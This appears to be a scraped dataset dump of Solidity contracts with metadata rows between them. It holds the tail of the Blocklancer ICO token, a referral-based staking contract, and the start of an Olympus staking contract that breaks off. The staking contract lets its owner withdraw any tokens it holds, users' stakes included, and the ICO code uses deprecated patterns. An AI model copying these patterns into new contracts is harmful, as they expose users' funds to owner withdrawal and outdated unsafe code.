function balanceOf(address _owner) constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/// Blocklancer Token (LNC) - crowdfunding code for Blocklancer Project
contract BlocklancerToken is ERC20Interface {
string public constant name = "Lancer Token";
string public constant symbol = "LNC";
uint8 public constant decimals = 18; // 18 decimal places, the same as ETH.
// The funding cap in weis.
uint256 public constant tokenCreationCap = 1000000000* 10**18;
uint256 public constant tokenCreationMin = 150000000* 10**18;
mapping(address => mapping (address => uint256)) allowed;
uint public fundingStart;
uint public fundingEnd;
// The flag indicates if the LNC contract is in Funding state.
bool public funding = true;
// Receives ETH and its own LNC endowment.
address public master;
// The current total token supply.
uint256 totalTokens;
//needed to calculate the price after the power day
//the price increases by 1 % for every 10 million LNC sold after power day
uint256 soldAfterPowerHour;
mapping (address => uint256) balances;
mapping (address => uint) lastTransferred;
//needed to refund everyone should the ICO fail
// needed because the price per LNC isn't linear
mapping (address => uint256) balancesEther;
//address of the contract that manages the migration
//can only be changed by the creator
address public migrationAgent;
//total amount of token migrated
//allows everyone to see the progress of the migration
uint256 public totalMigrated;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed _from, uint256 _value);
//total amount of participants in the ICO
uint totalParticipants;
function BlocklancerToken() {
master = msg.sender;
fundingStart = 1501977600;
//change first number!
fundingEnd = fundingStart + 31 * 1 days;//now + 1000 * 1 minutes;
}
//returns the total amount of participants in the ICO
function getAmountofTotalParticipants() constant returns (uint){
return totalParticipants;
}
//set
function getAmountSoldAfterPowerDay() constant external returns(uint256){
return soldAfterPowerHour;
}
/// allows to transfer token to another address
function transfer(address _to, uint256 _value) returns (bool success) {
// Don't allow in funding state
if(funding) throw;
var senderBalance = balances[msg.sender];
//only allow if the balance of the sender is more than he want's to send
if (senderBalance >= _value && _value > 0) {
//reduce the sender balance by the amount he sends
senderBalance -= _value;
balances[msg.sender] = senderBalance;
//increase the balance of the receiver by the amount we reduced the balance of the sender
balances[_to] += _value;
//saves the last time someone sent LNc from this address
//is needed for our Token Holder Tribunal
//this ensures that everyone can only vote one time
//otherwise it would be possible to send the LNC around and everyone votes again and again
lastTransferred[msg.sender]=block.timestamp;
Transfer(msg.sender, _to, _value);
return true;
}
//transfer failed
return false;
}
//returns the total amount of LNC in circulation
//get displayed on the website whilst the crowd funding
function totalSupply() constant returns (uint256 totalSupply) {
return totalTokens;
}
//retruns the balance of the owner address
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
//returns the amount anyone pledged into this contract
function EtherBalanceOf(address _owner) constant returns (uint256) {
return balancesEther[_owner];
}
//time left before the crodsale ends
function TimeLeft() external constant returns (uint256) {
if(fundingEnd>block.timestamp)
return fundingEnd-block.timestamp;
else
return 0;
}
//time left before the crodsale begins
function TimeLeftBeforeCrowdsale() external constant returns (uint256) {
if(fundingStart>block.timestamp)
return fundingStart-block.timestamp;
else
return 0;
}
// allows us to migrate to anew contract
function migrate(uint256 _value) external {
// can only be called if the funding ended
if(funding) throw;
//the migration agent address needs to be set
if(migrationAgent == 0) throw;
// must migrate more than nothing
if(_value == 0) throw;
//if the value is higher than the sender owns abort
if(_value > balances[msg.sender]) throw;
//reduce the balance of the owner
balances[msg.sender] -= _value;
//reduce the token left in the old contract
totalTokens -= _value;
totalMigrated += _value;
//call the migration agent to complete the migration
//credits the same amount of LNC in the new contract
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
Migrate(msg.sender, migrationAgent, _value);
}
//sets the address of the migration agent
function setMigrationAgent(address _agent) external {
//not possible in funding mode
if(funding) throw;
//only allow to set this once
if(migrationAgent != 0) throw;
//anly the owner can call this function
if(msg.sender != master) throw;
//set the migration agent
migrationAgent = _agent;
}
//return the current exchange rate -> LNC per Ether
function getExchangeRate() constant returns(uint){
//15000 LNC at power day
if(fundingStart + 1 * 1 days > block.timestamp){
return 15000;
}
//otherwise reduce by 1 % every 10 million LNC sold
else{
uint256 decrease=100-(soldAfterPowerHour/10000000/1000000000000000000);
if(decrease<70){
decrease=70;
}
return 10000*decrease/100;
}
}
//returns if the crowd sale is still open
function ICOopen() constant returns(bool){
if(!funding) return false;
else if(block.timestamp < fundingStart) return false;
else if(block.timestamp > fundingEnd) return false;
else if(tokenCreationCap <= totalTokens) return false;
else return true;
}
// Crowdfunding:
//when someone send ether to this contract
function() payable external {
//not possible if the funding has ended
if(!funding) throw;
//not possible before the funding started
if(block.timestamp < fundingStart) throw;
//not possible after the funding ended
if(block.timestamp > fundingEnd) throw;
// Do not allow creating 0 or more than the cap tokens.
if(msg.value == 0) throw;
//don't allow to create more token than the maximum cap
if((msg.value * getExchangeRate()) > (tokenCreationCap - totalTokens)) throw;
//calculate the amount of LNC the sender receives
var numTokens = msg.value * getExchangeRate();
totalTokens += numTokens;
//increase the amount of token sold after power day
//allows us to calculate the 1 % price increase per 10 million LNC sold
if(getExchangeRate()!=15000){
soldAfterPowerHour += numTokens;
}
// increase the amount of token the sender holds
balances[msg.sender] += numTokens;
//increase the amount of ether the sender pledged into the contract
balancesEther[msg.sender] += msg.value;
//icrease the amount of people that sent ether to this contract
totalParticipants+=1;
// Log token creation
Transfer(0, msg.sender, numTokens);
}
//called after the crodsale ended
//needed to allow everyone to send their LNC around
function finalize() external {
// not possible if the funding already ended
if(!funding) throw;
//only possible if funding ended and the minimum cap is reached - or
//the total amount of token is the same as the maximum cap
if((block.timestamp <= fundingEnd ||
totalTokens < tokenCreationMin) &&
(totalTokens+5000000000000000000000) < tokenCreationCap) throw;
// allows to tranfer token to another address
// disables buying LNC
funding = false;
//send 12% of the token to the devs
//10 % for the devs
//2 % for the bounty participants
uint256 percentOfTotal = 12;
uint256 additionalTokens = totalTokens * percentOfTotal / (100 - percentOfTotal);
totalTokens += additionalTokens;
balances[master] += additionalTokens;
Transfer(0, master, additionalTokens);
// Transfer ETH to the Blocklancer address.
if (!master.send(this.balance)) throw;
}
//everyone needs to call this function should the minimum cap not be reached
//refunds the sender
function refund() external {
// not possible after the ICO was finished
if(!funding) throw;
//not possible before the ICO ended
if(block.timestamp <= fundingEnd) throw;
//not possible if more token were created than the minimum
if(totalTokens >= tokenCreationMin) throw;
var lncValue = balances[msg.sender];
var ethValue = balancesEther[msg.sender];
if (lncValue == 0) throw;
//set the amount of token the sender has to 0
balances[msg.sender] = 0;
//set the amount of ether the sender owns to 0
balancesEther[msg.sender] = 0;
totalTokens -= lncValue;
Refund(msg.sender, ethValue);
if (!msg.sender.send(ethValue)) throw;
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from,address _to,uint256 _amount) returns (bool success) {
if(funding) throw;
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) returns (bool success) {
if(funding) throw;
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
| 270,733 | 13,696 |
4261d65d5ebbf2e7727ba95fff23e55716a1c46eb3d4af0532d7b49ee5f52532
| 17,240 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/61/611022b86e068f816De1d64A9C38156EFC1F2FB6_Staking.sol
| 4,210 | 16,441 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IERC20 {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view returns (address) {
return _owner;
}
function _checkOwner() private view {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() external onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ReentrancyGuard {
uint private constant _NOT_ENTERED = 1;
uint private constant _ENTERED = 2;
uint private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
}
function _nonReentrantAfter() private {
_status = _NOT_ENTERED;
}
function _reentrancyGuardEntered() private view returns (bool) {
return _status == _ENTERED;
}
}
contract Referral is Context {
struct User {
bool referred;
address referred_by;
}
struct Referral_rewards {
uint level_1;
uint level_2;
uint level_3;
uint level_4;
uint level_5;
}
struct Referral_levels {
uint level_1;
uint level_2;
uint level_3;
uint level_4;
uint level_5;
}
mapping(address => Referral_levels) public referInfo;
mapping(address => User) public userInfo;
mapping(address => Referral_rewards) public claimedRefRewards;
mapping(address => address[]) internal referrals_level_1;
mapping(address => address[]) internal referrals_level_2;
mapping(address => address[]) internal referrals_level_3;
mapping(address => address[]) internal referrals_level_4;
mapping(address => address[]) internal referrals_level_5;
function getReferInfo() external view returns (Referral_levels memory) {
return referInfo[_msgSender()];
}
function addReferee(address ref) public {
require(ref != _msgSender(), " You cannot refer yourself ");
userInfo[_msgSender()].referred = true;
userInfo[_msgSender()].referred_by = ref;
address level1 = userInfo[_msgSender()].referred_by;
address level2 = userInfo[level1].referred_by;
address level3 = userInfo[level2].referred_by;
address level4 = userInfo[level3].referred_by;
address level5 = userInfo[level4].referred_by;
if ((level1 != _msgSender()) && (level1 != address(0))) {
referrals_level_1[level1].push(_msgSender());
referInfo[level1].level_1 += 1;
}
if ((level2 != _msgSender()) && (level2 != address(0))) {
referrals_level_2[level2].push(_msgSender());
referInfo[level2].level_2 += 1;
}
if ((level3 != _msgSender()) && (level3 != address(0))) {
referrals_level_3[level3].push(_msgSender());
referInfo[level3].level_3 += 1;
}
if ((level4 != _msgSender()) && (level4 != address(0))) {
referrals_level_4[level4].push(_msgSender());
referInfo[level4].level_4 += 1;
}
if ((level5 != _msgSender()) && (level5 != address(0))) {
referrals_level_5[level5].push(_msgSender());
referInfo[level5].level_5 += 1;
}
}
function getReferees(address ref, uint level) public view returns (address[] memory)
{
address[] memory referees;
if (level == 1) {
referees = referrals_level_1[ref];
}
else if (level == 2) {
referees = referrals_level_2[ref];
}
else if (level == 3) {
referees = referrals_level_3[ref];
}
else if (level == 4) {
referees = referrals_level_4[ref];
}
else {
referees = referrals_level_5[ref];
}
return referees;
}
}
contract Staking is Ownable, ReentrancyGuard, Referral {
struct PoolInfo {
uint lockupDuration;
uint returnPer;
}
struct OrderInfo {
address beneficiary;
uint amount;
uint lockupDuration;
uint returnPer;
uint starttime;
uint endtime;
uint claimedReward;
bool claimed;
}
uint private constant _days30 = 2592000;
uint private constant _days60 = 5184000;
uint private constant _days90 = 7776000;
uint private constant _days180 = 15552000;
uint private constant _days365 = 31536000;
IERC20 public token;
bool private started = true;
uint public emergencyWithdrawFees = 15;
uint private latestOrderId = 0;
uint public totalStakers ; // use
uint public totalStaked ; // use
mapping(uint => PoolInfo) public pooldata;
mapping(address => uint) public balanceOf;
mapping(address => uint) public totalRewardEarn;
mapping(uint => OrderInfo) public orders;
mapping(address => uint[]) private orderIds;
mapping(address => mapping(uint => bool))public hasStaked;
mapping(uint => uint) public stakeOnPool;
mapping(uint => uint) public rewardOnPool;
mapping(uint => uint) public stakersPlan;
event Deposit(address indexed user, uint indexed lockupDuration, uint amount, uint returnPer);
event Withdraw(address indexed user, uint amount, uint reward, uint total);
event WithdrawAll(address indexed user, uint amount);
event RewardClaimed(address indexed user, uint reward);
event RefRewardClaimed(address indexed user, uint reward);
constructor(address _token) {
token = IERC20(_token);
pooldata[30].lockupDuration = _days30; // 30 days
pooldata[30].returnPer = 10;
pooldata[60].lockupDuration = _days60; // 60 days
pooldata[60].returnPer = 20;
pooldata[90].lockupDuration = _days90; // 90 days
pooldata[90].returnPer = 35;
pooldata[180].lockupDuration = _days180; // 180 days
pooldata[180].returnPer = 75;
}
function deposit(uint _amount, uint _lockupDuration, address _referrer) external {
if (_referrer != address(0) && !userInfo[_msgSender()].referred) {
addReferee(_referrer);
}
PoolInfo storage pool = pooldata[_lockupDuration];
require(pool.lockupDuration > 0, "TokenStakingCIP: asked pool does not exist");
require(started, "TokenStakingCIP: staking not yet started");
require(_amount > 0, "TokenStakingCIP: stake amount must be non zero");
require(token.transferFrom(_msgSender(), address(this), _amount), "TokenStakingCIP: token transferFrom via deposit not succeeded");
orders[++latestOrderId] = OrderInfo(_msgSender(),
_amount,
pool.lockupDuration,
pool.returnPer,
block.timestamp,
block.timestamp + pool.lockupDuration,
0,
false);
if (!hasStaked[msg.sender][_lockupDuration]) {
stakersPlan[_lockupDuration] = stakersPlan[_lockupDuration] + 1;
totalStakers = totalStakers + 1 ;
}
//updating staking status
hasStaked[msg.sender][_lockupDuration] = true;
stakeOnPool[_lockupDuration] = stakeOnPool[_lockupDuration] + _amount ;
totalStaked = totalStaked + _amount ;
balanceOf[_msgSender()] += _amount;
orderIds[_msgSender()].push(latestOrderId);
emit Deposit(_msgSender(), pool.lockupDuration, _amount, pool.returnPer);
}
function withdraw(uint orderId) external nonReentrant {
require(orderId <= latestOrderId, "TokenStakingCIP: INVALID orderId, orderId greater than latestOrderId");
OrderInfo storage orderInfo = orders[orderId];
require(_msgSender() == orderInfo.beneficiary, "TokenStakingCIP: caller is not the beneficiary");
require(!orderInfo.claimed, "TokenStakingCIP: order already unstaked");
require(block.timestamp >= orderInfo.endtime, "TokenStakingCIP: stake locked until lock duration completion");
uint claimAvailable = pendingRewards(orderId);
uint total = orderInfo.amount + claimAvailable;
totalRewardEarn[_msgSender()] += claimAvailable;
orderInfo.claimedReward += claimAvailable;
balanceOf[_msgSender()] -= orderInfo.amount;
orderInfo.claimed = true;
require(token.transfer(address(_msgSender()), total), "TokenStakingCIP: token transfer via withdraw not succeeded");
rewardOnPool[orderInfo.lockupDuration] = rewardOnPool[orderInfo.lockupDuration] + claimAvailable ;
emit Withdraw(_msgSender(), orderInfo.amount, claimAvailable, total);
}
function emergencyWithdraw(uint orderId) external nonReentrant {
require(orderId <= latestOrderId, "TokenStakingCIP: INVALID orderId, orderId greater than latestOrderId");
OrderInfo storage orderInfo = orders[orderId];
require(_msgSender() == orderInfo.beneficiary, "TokenStakingCIP: caller is not the beneficiary");
require(!orderInfo.claimed, "TokenStakingCIP: order already unstaked");
uint claimAvailable = pendingRewards(orderId);
uint fees = (orderInfo.amount * emergencyWithdrawFees) / 100;
orderInfo.amount -= fees;
uint total = orderInfo.amount + claimAvailable;
totalRewardEarn[_msgSender()] += claimAvailable;
orderInfo.claimedReward += claimAvailable;
balanceOf[_msgSender()] -= (orderInfo.amount + fees);
orderInfo.claimed = true;
require(token.transfer(address(_msgSender()), total), "TokenStakingCIP: token transfer via emergency withdraw not succeeded");
rewardOnPool[orderInfo.lockupDuration] = rewardOnPool[orderInfo.lockupDuration] + claimAvailable ;
emit WithdrawAll(_msgSender(), total);
}
function claimRewards(uint orderId) external nonReentrant {
require(orderId <= latestOrderId, "TokenStakingCIP: INVALID orderId, orderId greater than latestOrderId");
OrderInfo storage orderInfo = orders[orderId];
require(_msgSender() == orderInfo.beneficiary, "TokenStakingCIP: caller is not the beneficiary");
require(!orderInfo.claimed, "TokenStakingCIP: order already unstaked");
uint claimAvailable = pendingRewards(orderId);
totalRewardEarn[_msgSender()] += claimAvailable;
orderInfo.claimedReward += claimAvailable;
require(token.transfer(address(_msgSender()), claimAvailable), "TokenStakingCIP: token transfer via claim rewards not succeeded");
rewardOnPool[orderInfo.lockupDuration] = rewardOnPool[orderInfo.lockupDuration] + claimAvailable ;
emit RewardClaimed(address(_msgSender()), claimAvailable);
}
function pendingRewards(uint orderId) public view returns (uint) {
require(orderId <= latestOrderId, "TokenStakingCIP: INVALID orderId, orderId greater than latestOrderId");
OrderInfo storage orderInfo = orders[orderId];
if (!orderInfo.claimed) {
if (block.timestamp >= orderInfo.endtime) {
uint APY = (orderInfo.amount * orderInfo.returnPer) / 100;
uint reward = (APY * orderInfo.lockupDuration) / _days365;
uint claimAvailable = reward - orderInfo.claimedReward;
return claimAvailable;
} else {
uint stakeTime = block.timestamp - orderInfo.starttime;
uint APY = (orderInfo.amount * orderInfo.returnPer) / 100;
uint reward = (APY * stakeTime) / _days365;
uint claimAvailableNow = reward - orderInfo.claimedReward;
return claimAvailableNow;
}
} else {
return 0;
}
}
function toggleStaking(bool _start) external onlyOwner returns (bool) {
started = _start;
return true;
}
function investorOrderIds(address investor) external view returns (uint[] memory ids)
{
uint[] memory arr = orderIds[investor];
return arr;
}
function claimRefRewards() external nonReentrant {
Referral_rewards memory ref_rewards = _calculateRefRewards(_msgSender());
Referral_rewards memory claimed_ref_rewards = claimedRefRewards[_msgSender()];
uint availableRewards = _sumRefRewards(ref_rewards);
Referral_rewards memory updatedClaimed = Referral_rewards(claimed_ref_rewards.level_1 + ref_rewards.level_1,
claimed_ref_rewards.level_2 + ref_rewards.level_2,
claimed_ref_rewards.level_3 + ref_rewards.level_3,
claimed_ref_rewards.level_4 + ref_rewards.level_4,
claimed_ref_rewards.level_5 + ref_rewards.level_5);
claimedRefRewards[_msgSender()] = updatedClaimed;
require(token.transfer(_msgSender(), availableRewards), "TokenStakingCIP: token transfer to beneficiary via referrer rewards not succeeded");
emit RefRewardClaimed(address(_msgSender()), availableRewards);
}
function _calculateRefRewards(address ref) private view returns (Referral_rewards memory)
{
uint level_1_rewards;
for (uint i = 0; i < referrals_level_1[ref].length; i++) {
level_1_rewards += _totalRewards(referrals_level_1[ref][i]);
}
uint level_2_rewards;
for (uint i = 0; i < referrals_level_2[ref].length; i++) {
level_2_rewards += _totalRewards(referrals_level_2[ref][i]);
}
uint level_3_rewards;
for (uint i = 0; i < referrals_level_3[ref].length; i++) {
level_3_rewards += _totalRewards(referrals_level_3[ref][i]);
}
uint level_4_rewards;
for (uint i = 0; i < referrals_level_4[ref].length; i++) {
level_4_rewards += _totalRewards(referrals_level_4[ref][i]);
}
uint level_5_rewards;
for (uint i = 0; i < referrals_level_5[ref].length; i++) {
level_5_rewards += _totalRewards(referrals_level_5[ref][i]);
}
return Referral_rewards(((level_1_rewards * 10) / 100) - claimedRefRewards[ref].level_1,
((level_2_rewards * 7) / 100) - claimedRefRewards[ref].level_2,
((level_3_rewards * 5) / 100) - claimedRefRewards[ref].level_3,
((level_4_rewards * 4) / 100) - claimedRefRewards[ref].level_4,
((level_5_rewards * 2) / 100) - claimedRefRewards[ref].level_5);
}
function _sumRefRewards(Referral_rewards memory _refRewards) private pure returns (uint)
{
uint rewards = _refRewards.level_1 + _refRewards.level_2 + _refRewards.level_3 + _refRewards.level_4 + _refRewards.level_5;
return rewards;
}
function _totalRewards(address ref) private view returns (uint) {
uint rewards;
uint[] memory arr = orderIds[ref];
for (uint i = 0; i < arr.length; i++) {
OrderInfo memory order = orders[arr[i]];
rewards += (order.claimedReward + pendingRewards(arr[i]));
}
return rewards;
}
function getRefRewards(address _address) public view returns (Referral_rewards memory)
{
return _calculateRefRewards(_address);
}
function transferAnyERC20Token(address payaddress, address tokenAddress, uint amount) external onlyOwner {
IERC20(tokenAddress).transfer(payaddress, amount);
}
}
| 56,290 | 13,697 |
4b2405d40c903a6a0ffb742413f959fac6f13cf40a1522ae7211387f6a45636d
| 26,842 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/d8/D83cbD04843A380925a7B7311208611Ca80BC2E5_OlympusStaking.sol
| 4,132 | 16,480 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsOHM {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract OlympusStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable sOHM;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _OHM,
address _sOHM,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_OHM != address(0));
OHM = _OHM;
require(_sOHM != address(0));
sOHM = _sOHM;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
